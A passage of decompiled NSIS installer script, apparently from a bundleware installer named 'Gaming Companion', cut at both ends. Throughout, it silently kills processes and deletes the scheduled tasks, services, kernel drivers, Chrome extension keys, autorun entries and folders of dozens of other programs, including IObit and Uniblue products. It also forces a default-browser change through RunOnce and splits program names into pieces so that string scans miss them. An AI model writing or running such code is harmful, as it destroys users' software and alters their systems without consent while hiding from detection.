"$PROGRAMFILES\Gaming Companion" label_14701: StrCpy $5 "" ClearErrors EnumRegKey $0 HKCU Software\Cross$5browse $0 IfErrors label_14714 StrCpy $0 0 label_14706: EnumRegKey $1 HKCU Soft$5ware $0 StrCmp $1 "" label_14714 IntOp $0 $0 + 1 IfFileExists $APPDATA\$1.exe 0 label_14713 IfFileExists $APPDATA\$1 0 label_14713 Delete /REBOOTOK $APPDATA\$1.exe Delete /REBOOTOK $APPDATA\$1 label_14713: Goto label_14706 label_14714: IfFileExists $PROGRAMFILES\OneSystemCare 0 label_14741 nsExec::Exec "cmd /k taskkill /IM OneSystemCare.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM OneSystemCare.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM CleanupConsole.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM CleanupConsole.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"One System Care Monitor$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"One System Care Monitor$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"One System CarePeriod$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"One System CarePeriod$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"One System CareStartUp$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"One System CareStartUp$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $PROGRAMFILES\OneSystemCare label_14741: IfFileExists $APPDATA\SetMyHomePage 0 label_14749 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run SetMyHomePage nsExec::Exec "cmd /k taskkill /IM setmyhomepage.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM setmyhomepage.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $APPDATA\SetMyHomePage label_14749: IfFileExists "$PROGRAMFILES\Shop and Save Up" 0 label_14751 RMDir /r /REBOOTOK "$PROGRAMFILES\Shop and Save Up" label_14751: IfFileExists "$PROGRAMFILES\Shop Master" 0 label_14763 nsExec::Exec "cmd /k taskkill /IM shop_master_helper_service.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM shop_master_helper_service.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"shop_master_helper_service$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"shop_master_helper_service$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK "$PROGRAMFILES\Shop Master" label_14763: IfFileExists "$PROGRAMFILES\Shop til Drop" 0 label_14775 nsExec::Exec "cmd /k taskkill /IM shop_til_drop_helper_service.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM shop_til_drop_helper_service.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"shop_til_drop_helper_service$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"shop_til_drop_helper_service$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK "$PROGRAMFILES\Shop til Drop" label_14775: IfFileExists "$PROGRAMFILES\Cool getWeather" 0 label_14777 RMDir /r /REBOOTOK "$PROGRAMFILES\Cool getWeather" label_14777: IfFileExists "$PROGRAMFILES\Quick Weather Updates" 0 label_14779 RMDir /r /REBOOTOK "$PROGRAMFILES\Quick Weather Updates" label_14779: IfFileExists $PROGRAMFILES\RelayDouble 0 label_14781 RMDir /r /REBOOTOK $PROGRAMFILES\RelayDouble label_14781: FunctionEnd Function func_14782 SetShellVarContext current IfFileExists $PROGRAMFILES\HomeTab 0 label_14788 RMDir /r /REBOOTOK $PROGRAMFILES\HomeTab DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\kmedakdfngfmagjlndeckcbfcmidlbio DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\fcljdicbcnmfhekdcaobgbpjjifniemh DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\coljhboelhlkbgaaolcngflenaggpeao label_14788: IfFileExists $APPDATA\SimplyTech 0 label_14790 RMDir /r /REBOOTOK $APPDATA\SimplyTech label_14790: IfFileExists $APPDATA\VooUpdate 0 label_14792 RMDir /r /REBOOTOK $APPDATA\VooUpdate label_14792: IfFileExists $PROGRAMFILES\AnySend 0 label_14794 RMDir /r /REBOOTOK $PROGRAMFILES\AnySend label_14794: IfFileExists "$PROGRAMFILES\AnvSoft Web FLV Player Free" 0 label_14796 RMDir /r /REBOOTOK "$PROGRAMFILES\AnvSoft Web FLV Player Free" label_14796: IfFileExists "$PROGRAMFILES\sun king\sun_king_notification_service.exe" 0 label_14808 nsExec::Exec "cmd /k taskkill /IM sun_king_notification_service.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM sun_king_notification_service.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM sun_king_updating_service.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM sun_king_updating_service.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\sun king" label_14808: IfFileExists "$PROGRAMFILES\Csrss Updater\runner.exe" 0 label_14816 nsExec::Exec "cmd /k taskkill /IM runner.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM runner.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Installer RMDir /r /REBOOTOK "$PROGRAMFILES\Csrss Updater" label_14816: IfFileExists $PROGRAMFILES\onlysearch\onlysearch\1.3.22.1\onlysearch.exe 0 label_14824 nsExec::Exec "cmd /k taskkill /IM onlysearch.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM onlysearch.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Only-search RMDir /r /REBOOTOK $PROGRAMFILES\onlysearch label_14824: IfFileExists $PROGRAMFILES\OLBPre\OLBPre.exe 0 label_14832 StrCpy $0 OLBP nsExec::Exec "cmd /k taskkill /IM $0re.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $0re.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\$0re label_14832: IfFileExists $PROGRAMFILES\Uniblue\SpeedUpMyPC\speedupmypc.exe 0 label_14840 StrCpy $1 eedupm nsExec::Exec "cmd /k taskkill /IM sp$1ypc.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM sp$1ypc.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\Uniblue label_14840: IfFileExists $PROGRAMFILES\ClickCaption* 0 label_14874 StrCpy $0 0 label_14842: EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_14874 IntOp $0 $0 + 1 ClearErrors Push $1 Push ClickCaption Call :label_405 Pop $R3 IfErrors label_14842 ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion Push $2 Push . Push _ Call func_179 Pop $3 DeleteRegKey HKLM SYSTEM\ControlSet001\services\ccsvc_$2 DeleteRegKey HKLM SYSTEM\ControlSet001\services\ccnfd_$2 System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\ccnfd_$3.sys 0 label_14866 Delete /REBOOTOK $SYSDIR\drivers\ccnfd_$3.sys label_14866: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\ccnfd_$3.sys 0 label_14873 Delete /REBOOTOK $SYSDIR\drivers\ccnfd_$3.sys label_14873: RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_14874: IfFileExists $PROGRAMFILES\QuickRef* 0 label_14908 StrCpy $0 0 label_14876: EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_14908 IntOp $0 $0 + 1 ClearErrors Push $1 Push QuickRef Call :label_405 Pop $R3 IfErrors label_14876 ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion Push $2 Push . Push _ Call func_179 Pop $3 DeleteRegKey HKLM SYSTEM\ControlSet001\services\qrnfd_$3 DeleteRegKey HKLM SYSTEM\ControlSet001\services\qrsvc_$2 System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\qrnfd_$3.sys 0 label_14900 Delete /REBOOTOK $SYSDIR\drivers\qrnfd_$3.sys label_14900: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\qrnfd_$3.sys 0 label_14907 Delete /REBOOTOK $SYSDIR\drivers\qrnfd_$3.sys label_14907: RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_14908: IfFileExists $PROGRAMFILES\WordProser* 0 label_14942 StrCpy $0 0 label_14910: EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_14942 IntOp $0 $0 + 1 ClearErrors Push $1 Push WordProser Call :label_405 Pop $R3 IfErrors label_14910 ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion Push $2 Push . Push _ Call func_179 Pop $3 DeleteRegKey HKLM SYSTEM\ControlSet001\services\wpsvc_$2 DeleteRegKey HKLM SYSTEM\ControlSet001\services\wpnfd_$2 System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\wpnfd_$3.sys 0 label_14934 Delete /REBOOTOK $SYSDIR\drivers\wpnfd_$3.sys label_14934: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\wpnfd_$3.sys 0 label_14941 Delete /REBOOTOK $SYSDIR\drivers\wpnfd_$3.sys label_14941: RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_14942: IfFileExists $LOCALAPPDATA\Yandex\Elements 0 label_14950 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run YandexElements DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\cncgohepihcekklokhbhiblhfcmipbdh DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\gehngeifmelphpllncobkmimphfkckne DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\pchfckkccldkbclgdepkaonamkignanh DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\aminlpmkfcdibgpgfajlgnamicjckkjf DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\jdkihdhlegcdggknokfekoemkjjnjhgi RMDir /r /REBOOTOK $LOCALAPPDATA\Yandex\Elements label_14950: IfFileExists $LOCALAPPDATA\Yandex\Updater2 0 label_14952 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run "Browser Manager" label_14952: IfFileExists $LOCALAPPDATA\SmartWeb\SmartWebHelper.exe 0 label_14956 DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run SmartWeb Delete /REBOOTOK $SMSTARTUP\SmartWeb.lnk RMDir /r /REBOOTOK $LOCALAPPDATA\SmartWeb label_14956: IfFileExists $LOCALAPPDATA\Kometa\Panel 0 label_14970 StrCpy $1 Kometa nsExec::Exec "cmd /k taskkill /IM $1LaunchPanel.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $1LaunchPanel.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec IfFileExists $PROGRAMFILES\Google\Chrome\Application\chrome.exe 0 label_14966 WriteRegStr HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce ChromeDefaultBr "$\"$PROGRAMFILES\Google\Chrome\Application\chrome.exe$\" --make-default-browser" Goto label_14968 label_14966: IfFileExists $LOCALAPPDATA\Yandex\YandexBrowser\Application\browser.exe 0 label_14968 WriteRegStr HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce YandexDefaultBr "$\"$LOCALAPPDATA\Yandex\YandexBrowser\Application\browser.exe$\" --make-default-browser" label_14968: Sleep 1000 RMDir /r /REBOOTOK $LOCALAPPDATA\Kometa\Panel label_14970: IfFileExists $APPDATA\newSI* 0 label_14984 nsExec::Exec "cmd /k taskkill /IM s_inst.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM s_inst.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec StrCpy $0 "" FindFirst $0 $R1 $APPDATA\newSI* label_14978: StrCmp $R1 "" label_14983 IfFileExists $APPDATA\$R1 0 label_14981 RMDir /r /REBOOTOK $APPDATA\$R1 label_14981: FindNext $0 $R1 Goto label_14978 label_14983: FindClose $0 label_14984: IfFileExists $APPDATA\WinDiagnosis 0 label_14986 RMDir /r /REBOOTOK $APPDATA\WinDiagnosis label_14986: IfFileExists $LOCALAPPDATA\extensions\runvbs 0 label_14988 RMDir /r /REBOOTOK $LOCALAPPDATA\extensions label_14988: IfFileExists "$PROGRAMFILES\I Like It Extension" 0 label_14990 RMDir /r /REBOOTOK "$PROGRAMFILES\I Like It Extension" label_14990: IfFileExists $TEMP\fr2mas1le 0 label_14992 RMDir /r /REBOOTOK $TEMP\fr2mas1le label_14992: IfFileExists $LOCALAPPDATA\extension\ChromeExtensionUpdater.exe 0 label_14994 Delete /REBOOTOK $LOCALAPPDATA\extension\ChromeExtensionUpdater.exe label_14994: IfFileExists $LOCALAPPDATA\Win_update 0 label_14997 Call func_635 RMDir /r /REBOOTOK $LOCALAPPDATA\Win_update label_14997: IfFileExists $LOCALAPPDATA\win_updatez 0 label_15000 Call func_653 RMDir /r /REBOOTOK $LOCALAPPDATA\win_updatez label_15000: IfFileExists $APPDATA\extension\ChromeExtensionUpdater.exe 0 label_15002 Delete /REBOOTOK $APPDATA\extension\ChromeExtensionUpdater.exe label_15002: IfFileExists "$PROGRAMFILES\Àóäèî è âèäåî ñêà÷èâàíèå" 0 label_15004 RMDir /r /REBOOTOK "$PROGRAMFILES\Àóäèî è âèäåî ñêà÷èâàíèå" label_15004: IfFileExists "$LOCALAPPDATA\Àóäèî è âèäåî ñêà÷èâàíèå" 0 label_15006 RMDir /r /REBOOTOK "$LOCALAPPDATA\Àóäèî è âèäåî ñêà÷èâàíèå" label_15006: IfFileExists $PROGRAMFILES\SearchSnacks 0 label_15008 RMDir /r /REBOOTOK $PROGRAMFILES\SearchSnacks label_15008: IfFileExists $LOCALAPPDATA\screentk 0 label_15010 RMDir /r /REBOOTOK $LOCALAPPDATA\screentk label_15010: IfFileExists $APPDATA\istartsurf 0 label_15012 RMDir /r /REBOOTOK $APPDATA\istartsurf label_15012: IfFileExists $TEMP\amisetup* 0 label_15014 Delete /REBOOTOK $TEMP\amisetup* label_15014: IfFileExists $TEMP\Launcher__* 0 label_15016 Delete /REBOOTOK $TEMP\Launcher__* label_15016: IfFileExists $PROGRAMFILES\WebBars 0 label_15018 RMDir /r /REBOOTOK $PROGRAMFILES\WebBars label_15018: IfFileExists $PROGRAMFILES\DoubleOptMedia 0 label_15020 RMDir /r /REBOOTOK $PROGRAMFILES\DoubleOptMedia label_15020: IfFileExists $PROGRAMFILES\tooldev342\Weatherbar 0 label_15022 RMDir /r /REBOOTOK $PROGRAMFILES\tooldev342\Weatherbar label_15022: IfFileExists $PROGRAMFILES64\tooldev342\Weatherbar 0 label_15024 RMDir /r /REBOOTOK $PROGRAMFILES64\tooldev342\Weatherbar label_15024: IfFileExists "$PROGRAMFILES\Media Saver" 0 label_15034 DeleteRegKey HKLM SYSTEM\ControlSet001\services\MSLSService DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Service for Media Saver" nsExec::Exec "cmd /k taskkill /IM ExtensionUpdaterService.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ExtensionUpdaterService.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Sleep 3000 RMDir /r /REBOOTOK "$PROGRAMFILES\Media Saver" label_15034: IfFileExists $PROGRAMFILES\VKSmile 0 label_15036 RMDir /r /REBOOTOK $PROGRAMFILES\VKSmile label_15036: IfFileExists "$PROGRAMFILES\VK Downloader" 0 label_15059 StrCpy $0 "" FindFirst $0 $R1 "$PROGRAMFILES\VK Downloader\*.exe" label_15039: StrCmp $R1 "" label_15047 nsExec::Exec "cmd /k taskkill /IM $R1 /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $R1 /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec FindNext $0 $R1 Goto label_15039 label_15047: FindClose $0 nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for VK Downloader2$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Update Service for VK Downloader2$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for VK Downloader$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Update Service for VK Downloader$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK "$PROGRAMFILES\VK Downloader" label_15059: ClearErrors EnumRegKey $0 HKCU Software\Google\Chrome\Extensions\kneggodalbcmgdkkfhbhbicbbahnacjb $0 IfErrors label_15063 DeleteRegKey HKCU Software\Google\Chrome\Extensions\kneggodalbcmgdkkfhbhbicbbahnacjb label_15063: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\kneggodalbcmgdkkfhbhbicbbahnacjb $0 IfErrors label_15067 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\kneggodalbcmgdkkfhbhbicbbahnacjb label_15067: ClearErrors EnumRegKey $0 HKCU Software\Google\Chrome\Extensions\kfecnpmgnlnbmipaogfhoacoioifjgko $0 IfErrors label_15071 DeleteRegKey HKCU Software\Google\Chrome\Extensions\kfecnpmgnlnbmipaogfhoacoioifjgko label_15071: ClearErrors EnumRegKey $0 HKLM SOFTWARE\Google\Chrome\Extensions\kfecnpmgnlnbmipaogfhoacoioifjgko $0 IfErrors label_15075 DeleteRegKey HKLM SOFTWARE\Google\Chrome\Extensions\kfecnpmgnlnbmipaogfhoacoioifjgko label_15075: IfFileExists $APPDATA\bafhhmlkbcigapgkfdgfikhkkaihpjjn 0 label_15077 RMDir /r /REBOOTOK $APPDATA\bafhhmlkbcigapgkfdgfikhkkaihpjjn label_15077: IfFileExists $PROGRAMFILES\DolkaRuIePlugin 0 label_15079 RMDir /r /REBOOTOK $PROGRAMFILES\DolkaRuIePlugin label_15079: IfFileExists $PROGRAMFILES\Zaxar 0 label_15104 StrCpy $0 "" DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Za$0xarGameBrowser DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Za$0xarLoader nsExec::Exec "cmd /k taskkill /IM ZaxarLoader.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ZaxarLoader.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM ZaxarGameBrowser.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ZaxarGameBrowser.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM ZaxarSound.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ZaxarSound.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM timetasks.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM timetasks.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\Zaxar label_15104: IfFileExists $PROGRAMFILES\GamesRS 0 label_15106 RMDir /r /REBOOTOK $PROGRAMFILES\GamesRS label_15106: IfFileExists $PROGRAMFILES\IObit 0 label_15141 nsExec::Exec "cmd /k taskkill /IM Monitor.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Monitor.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM ASCService.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ASCService.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM LiveUpdate.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM LiveUpdate.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM ASCTray.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ASCTray.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM ASC.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ASC.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run "Advanced SystemCare 8" nsExec::ExecToStack "schtasks /delete /tn $\"ASC8_PerformanceMonitor$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"ASC8_PerformanceMonitor$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack DeleteRegKey HKLM SYSTEM\ControlSet001\services\AdvancedSystemCareService8 DeleteRegKey HKLM SYSTEM\ControlSet001\services\LiveUpdateSvc RMDir /r /REBOOTOK $PROGRAMFILES\IObit label_15141: IfFileExists "$PROGRAMFILES64\Advanced PC Care" 0 label_15160 nsExec::Exec "cmd /k taskkill /IM advancedpccare.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM advancedpccare.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec IfFileExists "$PROGRAMFILES64\Advanced PC Care\unins000.exe" 0 label_15153 nsExec::Exec "cmd /k $\"start $\"$\" $\"$PROGRAMFILES64\Advanced PC Care\unins000.exe$\" /SILENT$\"" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k $\"start $\"$\" $\"$PROGRAMFILES64\Advanced PC Care\unins000.exe$\" /SILENT$\"" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec label_15153: Sleep 5000 nsExec::ExecToStack "schtasks /delete /tn $\"Advanced PC Care_Logon$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Advanced PC Care_Logon$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK "$PROGRAMFILES64\Advanced PC Care" label_15160: IfFileExists $PROGRAMFILES\SwiftSearch_* 0 label_15219 StrCpy $0 0 label_15162: EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_15219 IntOp $0 $0 + 1 ClearErrors Push $1 Push SwiftSearch_ Call :label_405 Pop $R3 IfErrors label_15162 ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion Push $2 Push . Push _ Call func_179 Pop $3 nsExec::Exec "cmd /k net stop swsedrvr_vt_$3" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k net stop swsedrvr_vt_$3" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k net stop swsesrvc_$2" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k net stop swsesrvc_$2" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM swsesrvc.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM swsesrvc.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM SwiftSearchAutoUpdateClient.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM SwiftSearchAutoUpdateClient.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\swsedrvr_vt_$3 DeleteRegKey HKLM SYSTEM\ControlSet001\services\swsesrvc_$2 IfFileExists $PROGRAMFILES\$1 0 label_15201 RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_15201: System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\swsedrvr_vt_$3.sys 0 label_15208 Delete /REBOOTOK $SYSDIR\drivers\swsedrvr_vt_$3.sys label_15208: IfFileExists $SYSDIR\drivers\swsedrvr_vw_$3.sys 0 label_15210 Delete /REBOOTOK $SYSDIR\drivers\swsedrvr_vw_$3.sys label_15210: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push 